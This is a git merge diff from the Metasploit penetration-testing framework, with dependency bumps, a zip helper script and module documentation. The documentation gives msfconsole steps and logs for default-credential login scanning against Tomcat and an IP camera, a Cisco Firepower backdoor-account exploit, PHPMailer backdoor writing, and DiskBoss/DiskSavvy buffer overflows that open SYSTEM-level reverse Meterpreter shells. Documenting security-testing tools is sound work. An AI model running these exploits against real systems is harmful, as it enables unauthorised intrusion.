Merge remote-tracking branch 'upstream/master' into land-7787-
commit
441222c2b5
2
COPYING
2
COPYING
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2016, Rapid7, Inc.
|
||||
Copyright (C) 2006-2017, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
40
Gemfile.lock
40
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.11)
|
||||
metasploit-framework (4.13.16)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -16,7 +16,7 @@ PATH
|
|||
metasploit-model
|
||||
metasploit-payloads (= 1.2.6)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.4)
|
||||
metasploit_payloads-mettle (= 0.1.6)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
|
@ -103,7 +103,7 @@ GEM
|
|||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
builder (3.2.3)
|
||||
capybara (2.11.0)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
|
@ -132,7 +132,7 @@ GEM
|
|||
nokogiri (~> 1.5)
|
||||
railties (>= 3, < 5.1)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.2.5)
|
||||
diff-lcs (1.3)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.8.0)
|
||||
|
@ -140,16 +140,16 @@ GEM
|
|||
factory_girl_rails (4.8.0)
|
||||
factory_girl (~> 4.8.0)
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.10.1)
|
||||
faraday (0.11.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.14)
|
||||
ffi (1.9.17)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (1.8.6)
|
||||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
|
@ -180,7 +180,7 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.4)
|
||||
metasploit_payloads-mettle (0.1.6)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
|
@ -192,7 +192,7 @@ GEM
|
|||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.0.0)
|
||||
net-ssh (4.0.1)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.7.0.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
|
@ -234,7 +234,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.1.2)
|
||||
recog (2.1.4)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.4)
|
||||
|
@ -245,7 +245,7 @@ GEM
|
|||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.5)
|
||||
rex-core (0.1.6)
|
||||
rex-encoder (0.1.2)
|
||||
metasm
|
||||
rex-arch
|
||||
|
@ -257,7 +257,7 @@ GEM
|
|||
rex-encoder
|
||||
rex-text
|
||||
rex-java (0.1.3)
|
||||
rex-mime (0.1.1)
|
||||
rex-mime (0.1.3)
|
||||
rex-text
|
||||
rex-nop (0.1.0)
|
||||
rex-arch
|
||||
|
@ -273,16 +273,16 @@ GEM
|
|||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.2)
|
||||
rex-socket (0.1.3)
|
||||
rex-core
|
||||
rex-sslscan (0.1.1)
|
||||
rex-sslscan (0.1.2)
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.2.10)
|
||||
rex-text (0.2.11)
|
||||
rex-zip (0.1.1)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
rkelly-remix (0.0.7)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.5.4)
|
||||
rspec-support (~> 3.5.0)
|
||||
|
@ -323,10 +323,10 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.10)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.0.2)
|
||||
windows_error (0.1.0)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.5)
|
||||
yard (0.9.8)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
|
2
LICENSE
2
LICENSE
|
@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2016, Rapid7, Inc.
|
||||
Copyright: 2006-2017, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,87 @@
|
|||
/*
|
||||
* Original technique from http://naterice.com/zip-and-unzip-files-using-the-windows-shell-and-vbscript/
|
||||
*/
|
||||
|
||||
function create_zip(dst)
|
||||
{
|
||||
var header = "\x50\x4b\x05\x06" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||
|
||||
/*
|
||||
* Trick to write a binary file regardless of the system locale
|
||||
*/
|
||||
var outw = new ActiveXObject("ADODB.Stream");
|
||||
outw.Type = 2;
|
||||
outw.Open();
|
||||
outw.WriteText(header);
|
||||
outw.Position = 0;
|
||||
|
||||
var outa = new ActiveXObject("ADODB.Stream");
|
||||
outa.Type = 2;
|
||||
outa.Charset = "windows-1252";
|
||||
outa.Open()
|
||||
|
||||
outw.CopyTo(outa);
|
||||
outa.SaveToFile(dst, 2);
|
||||
|
||||
outw.Close();
|
||||
outa.Close();
|
||||
}
|
||||
|
||||
function basename(path)
|
||||
{
|
||||
var a = path.split("\\");
|
||||
var b = a.slice(-1);
|
||||
return b[0];
|
||||
}
|
||||
|
||||
function fileeq(a, b)
|
||||
{
|
||||
return basename(a).toLowerCase() == basename(b).toLowerCase();
|
||||
}
|
||||
|
||||
function zip(src, dst)
|
||||
{
|
||||
var shell = new ActiveXObject('Shell.Application');
|
||||
var fso = new ActiveXObject('Scripting.FileSystemObject');
|
||||
|
||||
/*
|
||||
* Normalize paths, required by the shell commands
|
||||
*/
|
||||
src = fso.GetAbsolutePathName(src);
|
||||
dst = fso.GetAbsolutePathName(dst);
|
||||
|
||||
/*
|
||||
* Create an empty zip file if necessary
|
||||
*/
|
||||
if (!fso.FileExists(dst)) {
|
||||
create_zip(dst);
|
||||
}
|
||||
|
||||
/*
|
||||
* Check for duplicates
|
||||
*/
|
||||
var zipfile = shell.Namespace(dst);
|
||||
var files = zipfile.items();
|
||||
var count = files.Count;
|
||||
for (var i = 0; i < files.Count; i++) {
|
||||
if (fileeq(files.Item(i).Name, src)) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
zipfile.CopyHere(src);
|
||||
|
||||
/*
|
||||
* Wait for completion, but data can be stale on network shares, so we
|
||||
* abort after 5 seconds.
|
||||
*/
|
||||
var max_tries = 50;
|
||||
while (count == zipfile.items().Count) {
|
||||
WScript.Sleep(100);
|
||||
if (max_tries-- == 0) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,62 +0,0 @@
|
|||
On Error Resume Next
|
||||
|
||||
Function WindowsZip(sFile, sZipFile)
|
||||
'This script is provided under the Creative Commons license located
|
||||
'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
|
||||
'be used for commercial purposes with out the expressed written consent
|
||||
'of NateRice.com
|
||||
|
||||
Set oZipShell = CreateObject("WScript.Shell")
|
||||
Set oZipFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
If Not oZipFSO.FileExists(sZipFile) Then
|
||||
NewZip(sZipFile)
|
||||
End If
|
||||
|
||||
Set oZipApp = CreateObject("Shell.Application")
|
||||
|
||||
sZipFileCount = oZipApp.NameSpace(sZipFile).items.Count
|
||||
|
||||
aFileName = Split(sFile, "\")
|
||||
sFileName = (aFileName(Ubound(aFileName)))
|
||||
|
||||
'listfiles
|
||||
sDupe = False
|
||||
For Each sFileNameInZip In oZipApp.NameSpace(sZipFile).items
|
||||
If LCase(sFileName) = LCase(sFileNameInZip) Then
|
||||
sDupe = True
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
|
||||
If Not sDupe Then
|
||||
oZipApp.NameSpace(sZipFile).Copyhere sFile
|
||||
|
||||
'Keep script waiting until Compressing is done
|
||||
On Error Resume Next
|
||||
sLoop = 0
|
||||
Do Until sZipFileCount < oZipApp.NameSpace(sZipFile).Items.Count
|
||||
Wscript.Sleep(100)
|
||||
sLoop = sLoop + 1
|
||||
Loop
|
||||
On Error GoTo 0
|
||||
End If
|
||||
End Function
|
||||
|
||||
Sub NewZip(sNewZip)
|
||||
'This script is provided under the Creative Commons license located
|
||||
'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
|
||||
'be used for commercial purposes with out the expressed written consent
|
||||
'of NateRice.com
|
||||
|
||||
Set oNewZipFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set oNewZipFile = oNewZipFSO.CreateTextFile(sNewZip)
|
||||
|
||||
oNewZipFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0)
|
||||
|
||||
oNewZipFile.Close
|
||||
Set oNewZipFSO = Nothing
|
||||
|
||||
Wscript.Sleep(500)
|
||||
End Sub
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The administrator application was removed as of Tomcat 6. Tomcat 5.5.36 is available from [apache](https://archive.apache.org/dist/tomcat/tomcat-5/v5.5.36/). This does not have the `admin` app bundled though, and can be downloaded [here](https://archive.apache.org/dist/tomcat/tomcat-5/v5.5.36/bin/apache-tomcat-5.5.36-admin.zip).
|
||||
|
||||
To utilize the `admin` application, a user must have the permission `admin` applied to their account. The following user line will handle all necessary permissions:
|
||||
|
||||
```
|
||||
<user username="tomcat" password="tomcat" roles="admin"/>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Tomcat 5.5 or older
|
||||
2. Install the admin app
|
||||
3. Start msfconsole
|
||||
4. Do: ```use auxiliary/admin/http/tomcat_administration```
|
||||
5. Do: ```set rhosts [ips]```
|
||||
6. Do: ```set tomcat_user [username]```
|
||||
7. Do: ```set tomcat_pass [username]```
|
||||
8. Do: ```set rport [port]```
|
||||
9. Do: ```run```
|
||||
10. Find all the Tomcat admin portals
|
||||
|
||||
## Options
|
||||
|
||||
**rport**
|
||||
|
||||
The default is set to `8180`, which is only default on FreeBSD. All other operating systems, and the software itself, default to `8080`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against Tomcat 5.5.36 with admin module installed against Windows XP
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/http/tomcat_administration
|
||||
msf auxiliary(tomcat_administration) > set rport 8085
|
||||
rport => 8085
|
||||
msf auxiliary(tomcat_administration) > set rhosts 192.168.2.108
|
||||
rhosts => 192.168.2.108
|
||||
msf auxiliary(tomcat_administration) > set verbose true
|
||||
verbose => true
|
||||
msf auxiliary(tomcat_administration) > set tomcat_pass tomcat
|
||||
tomcat_pass => tomcat
|
||||
msf auxiliary(tomcat_administration) > set tomcat_user tomcat
|
||||
tomcat_user => tomcat
|
||||
msf auxiliary(tomcat_administration) > run
|
||||
|
||||
[*] http://192.168.2.108:8085/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5.36] [Tomcat Server Administration] [tomcat/tomcat]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,28 @@
|
|||
This module allows you to log into an BAVision IP Camera's web server.
|
||||
|
||||
The instructions shipped with the camera do not mention clearly regarding the existence of the
|
||||
lighttpd web server, and it uses admin:123456 as the default credential. Even if the default
|
||||
password is changed, the account could also be bruteforced since there is no policy for lockouts.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The web server is built into the IP camera. Specifically, this camera was tested during development:
|
||||
|
||||
"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision"
|
||||
|
||||
http://goo.gl/pHAqS1
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Read the instructions that come with the IP camera to set it up
|
||||
2. Find the IP of the camera (in lab, your router should have info about this)
|
||||
3. Do: ```use auxiliary/scanner/http/bavision_cam_login```
|
||||
4. Set usernames and passwords
|
||||
5. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**TRYDEFAULT**
|
||||
|
||||
The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list.
|
|
@ -1,8 +1,8 @@
|
|||
The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP
|
||||
The `auxiliary/scanner/http/tomcat_mgr_login` works for Tomcat versions that uses HTTP
|
||||
authentication.
|
||||
|
||||
Please note that for Tomcat 7 or newer, the roles required to use the manager application were
|
||||
changed from the single manager role to the following four roles:
|
||||
changed from the single `manager` role to the following four roles:
|
||||
|
||||
* manager-gui - Allows access to the HTML GUI and the status pages.
|
||||
* manager-script - Allows access to the text interface and the status pages.
|
||||
|
@ -39,3 +39,98 @@ To download the vulnerable application, you can find it here: https://tomcat.apa
|
|||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Set TARGETURI if necessary.
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
All scenarios are run with the credentials tomcat/tomcat.
|
||||
|
||||
### Tomcat 6
|
||||
|
||||
Tomcat 6.0.48 running on Ubuntu 14.04
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/tomcat_mgr_login
|
||||
msf auxiliary(tomcat_mgr_login) > set rport 8080
|
||||
rport => 8080
|
||||
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.156
|
||||
rhosts => 192.168.2.156
|
||||
msf auxiliary(tomcat_mgr_login) > run
|
||||
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[-] 192.168.2.156:8080 - LOGIN FAILED: admin:admin (Incorrect)
|
||||
```
|
||||
...snip...
|
||||
|
||||
```
|
||||
[-] 192.168.2.156:8080 - LOGIN FAILED: tomcat:root (Incorrect)
|
||||
[+] 192.168.2.156:8080 - LOGIN SUCCESSFUL: tomcat:tomcat
|
||||
[-] 192.168.2.156:8080 - LOGIN FAILED: both:admin (Incorrect)
|
||||
```
|
||||
...snip...
|
||||
|
||||
```
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Tomcat 7
|
||||
|
||||
Tomcat 7.0.68 running on Windows XP
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/tomcat_mgr_login
|
||||
msf auxiliary(tomcat_mgr_login) > set rport 8087
|
||||
rport => 8087
|
||||
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
|
||||
rhosts => 192.168.2.108
|
||||
msf auxiliary(tomcat_mgr_login) > run
|
||||
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[-] 192.168.2.108:8087 - LOGIN FAILED: admin:admin (Incorrect)
|
||||
```
|
||||
|
||||
...snip...
|
||||
|
||||
```
|
||||
[-] 192.168.2.108:8087 - LOGIN FAILED: tomcat:root (Incorrect)
|
||||
[+] 192.168.2.108:8087 - LOGIN SUCCESSFUL: tomcat:tomcat
|
||||
[-] 192.168.2.108:8087 - LOGIN FAILED: both:admin (Incorrect)
|
||||
```
|
||||
|
||||
...snip...
|
||||
|
||||
```
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Tomcat 8
|
||||
|
||||
Tomcat 8.0.32 unning on Windows XP
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/tomcat_mgr_login
|
||||
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
|
||||
rhosts => 192.168.2.108
|
||||
msf auxiliary(tomcat_mgr_login) > set rport 8088
|
||||
rport => 8088
|
||||
msf auxiliary(tomcat_mgr_login) > run
|
||||
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[-] 192.168.2.108:8088 - LOGIN FAILED: admin:admin (Incorrect)
|
||||
```
|
||||
|
||||
...snip...
|
||||
|
||||
```
|
||||
[-] 192.168.2.108:8088 - LOGIN FAILED: tomcat:root (Incorrect)
|
||||
[+] 192.168.2.108:8088 - LOGIN SUCCESSFUL: tomcat:tomcat
|
||||
[-] 192.168.2.108:8088 - LOGIN FAILED: both:admin (Incorrect)
|
||||
```
|
||||
|
||||
...snip...
|
||||
|
||||
```
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
This module exploits a vulnerability in Cisco Firepower Management Console RCE. It will
|
||||
create a backdoor SSH account via HTTPS, and then obtain a native payload session
|
||||
in SSH.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit was specifically written against 6.0.1 (build 1213). To test, you can find the
|
||||
virtual appliance here:
|
||||
|
||||
https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052
|
||||
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. ```use exploit/linux/http/cisco_firepower_useradd```
|
||||
3. ```set password [https console password for admin]```
|
||||
4. ```set rhost [IP]```
|
||||
5. ```set payload linux/x86/meterpreter/reverse_tcp```
|
||||
6. ```set lhost [IP]```
|
||||
7. ```exploit```
|
||||
8. You should get a session
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME** The username for Cisco Firepower Management console
|
||||
|
||||
**Password** The password for Cisco Firepower Management cosnole
|
||||
|
||||
**NEWSSHUSER** The SSH account to create. By default, this is random.
|
||||
|
||||
**NEWSSHPASS** The SSH password for the new account. By default, this is also random.
|
||||
|
||||
**SSHPORT** In case for some reason, the SSH changed, otherwise this is 22 by default.
|
|
@ -0,0 +1,79 @@
|
|||
## Vulnerable Application
|
||||
|
||||
PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to
|
||||
write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed
|
||||
to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an
|
||||
HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful
|
||||
exploitation can take a few minutes.
|
||||
|
||||
[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable PHPMailer
|
||||
2. Start msfconsole
|
||||
3. `use exploit/multi/http/phpmailer_arg_injection`
|
||||
4. Set the TARGETURI and WEB_ROOT options as applicable
|
||||
5. `exploit`
|
||||
6. Verify the module yields a PHP meterpreter session in < 5 minutes
|
||||
7. Verify the malicious PHP file was automatically removed
|
||||
|
||||
## Scenarios
|
||||
|
||||
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
|
||||
|
||||
```
|
||||
msf (S:0 J:0) exploit(php_mailer) > options
|
||||
|
||||
Module options (exploit/linux/http/php_mailer):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.90.134 yes The target address
|
||||
RPORT 8080 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Path to the application root
|
||||
TRIGGERURI no Path to the uploaded payload
|
||||
VHOST no HTTP server virtual host
|
||||
WEB_ROOT /www yes Path to the web root
|
||||
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.90.134 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
msf (S:0 J:0) exploit(php_mailer) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
|
||||
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
|
||||
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
|
||||
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload
|
||||
[+] [2016.12.29-17:04:48] Successfully found the payload
|
||||
[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500
|
||||
[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php
|
||||
[+] [2016.12.29-17:06:10] Successfully triggered the payload
|
||||
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 90f0c8e8dbe4
|
||||
OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64
|
||||
Meterpreter : php/linux
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,100 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[DiskBoss Enterprise](http://www.diskboss.com) versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/71a11b97d2361389b9099e57f6400270-diskbossent_setup_v7.4.28.exe).
|
||||
|
||||
## Verification Steps
|
||||
1. Install a vulnerable DiskBoss Enterprise
|
||||
2. Start `DiskBoss Enterprise` service
|
||||
3. Start `DiskBoss Enterprise` client application
|
||||
4. Navigate to `Tools` > `DiskBoss Server Options` > `Server`
|
||||
5. Check `Enable Web Server On Port 80` to start the web interface
|
||||
6. Start `msfconsole`
|
||||
7. Do `use exploit/windows/http/diskboss_get_bof`
|
||||
8. Do `set rhost ip`
|
||||
9. Do `check`
|
||||
10. Verify the target is vulnerable
|
||||
11. Do `set payload windows/meterpreter/reverse_tcp`
|
||||
12. Do `set lhost ip`
|
||||
13. Do `exploit`
|
||||
14. Verify the Meterpreter session is opened
|
||||
|
||||
## Scenarios
|
||||
|
||||
###DiskBoss Enterprise v7.5.12 on Windows XP SP3
|
||||
|
||||
```
|
||||
msf exploit(diskboss_get_bof) > options
|
||||
|
||||
Module options (exploit/windows/http/diskboss_get_bof):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.198.130 yes The target address
|
||||
RPORT 80 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.198.138 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
|
||||
msf exploit(diskboss_get_bof) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.198.138:4444
|
||||
[*] Automatically detecting the target...
|
||||
[*] Selected Target: DiskBoss Enterprise v7.5.12
|
||||
[*] Sending stage (957999 bytes) to 192.168.198.130
|
||||
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:4476) at 2017-01-08 05:12:46 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : GABOR-03722ADE8
|
||||
OS : Windows XP (Build 2600, Service Pack 3).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
###DiskBoss Enterprise v7.4.28 on Windows 7 SP1
|
||||
|
||||
```
|
||||
msf exploit(diskboss_get_bof) > set rhost 192.168.198.133
|
||||
rhost => 192.168.198.130
|
||||
msf exploit(diskboss_get_bof) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.198.138:4444
|
||||
[*] Automatically detecting the target...
|
||||
[*] Selected Target: DiskBoss Enterprise v7.4.28
|
||||
[*] Sending stage (957999 bytes) to 192.168.198.133
|
||||
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BCJL9PJ5BF5
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,100 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[DiskSavvy Enterprise](http://www.disksavvy.com) versions up to v9.3.14 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/20058a6ebf1120bca9ac92b493cac1ff-disksavvyent_setup_v9.1.14.exe).
|
||||
|
||||
## Verification Steps
|
||||
1. Install a vulnerable DiskSavvy Enterprise
|
||||
2. Start `Disk Savvy Enterprise` service
|
||||
3. Start `Disk Savvy Enterprise` client application
|
||||
4. Navigate to `Tools` > `Advanced Options` > `Server`
|
||||
5. Check `Enable Web Server On Port 80` to start the web interface
|
||||
6. Start `msfconsole`
|
||||
7. Do `use exploit/windows/http/disksavvy_get_bof`
|
||||
8. Do `set rhost ip`
|
||||
9. Do `check`
|
||||
10. Verify the target is vulnerable
|
||||
11. Do `set payload windows/meterpreter/reverse_tcp`
|
||||
12. Do `set lhost ip`
|
||||
13. Do `exploit`
|
||||
14. Verify the Meterpreter session is opened
|
||||
|
||||
## Scenarios
|
||||
|
||||
###DiskSavvy Enterprise v9.1.14 on Windows XP SP3
|
||||
|
||||
```
|
||||
msf exploit(disksavvy_get_bof) > options
|
||||
|
||||
Module options (exploit/windows/http/disksavvy_get_bof):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.198.130 yes The target address
|
||||
RPORT 80 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.198.138 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
|
||||
msf exploit(disksavvy_get_bof) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.198.138:4444
|
||||
[*] Automatically detecting the target...
|
||||
[*] Selected Target: DiskSavvy Enterprise v9.1.14
|
||||
[*] Sending stage (957999 bytes) to 192.168.198.130
|
||||
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:1140) at 2017-01-19 13:38:18 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : GABOR-03722ADE8
|
||||
OS : Windows XP (Build 2600, Service Pack 3).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
###DiskSavvy Enterprise v9.3.14 on Windows 7 SP1
|
||||
|
||||
```
|
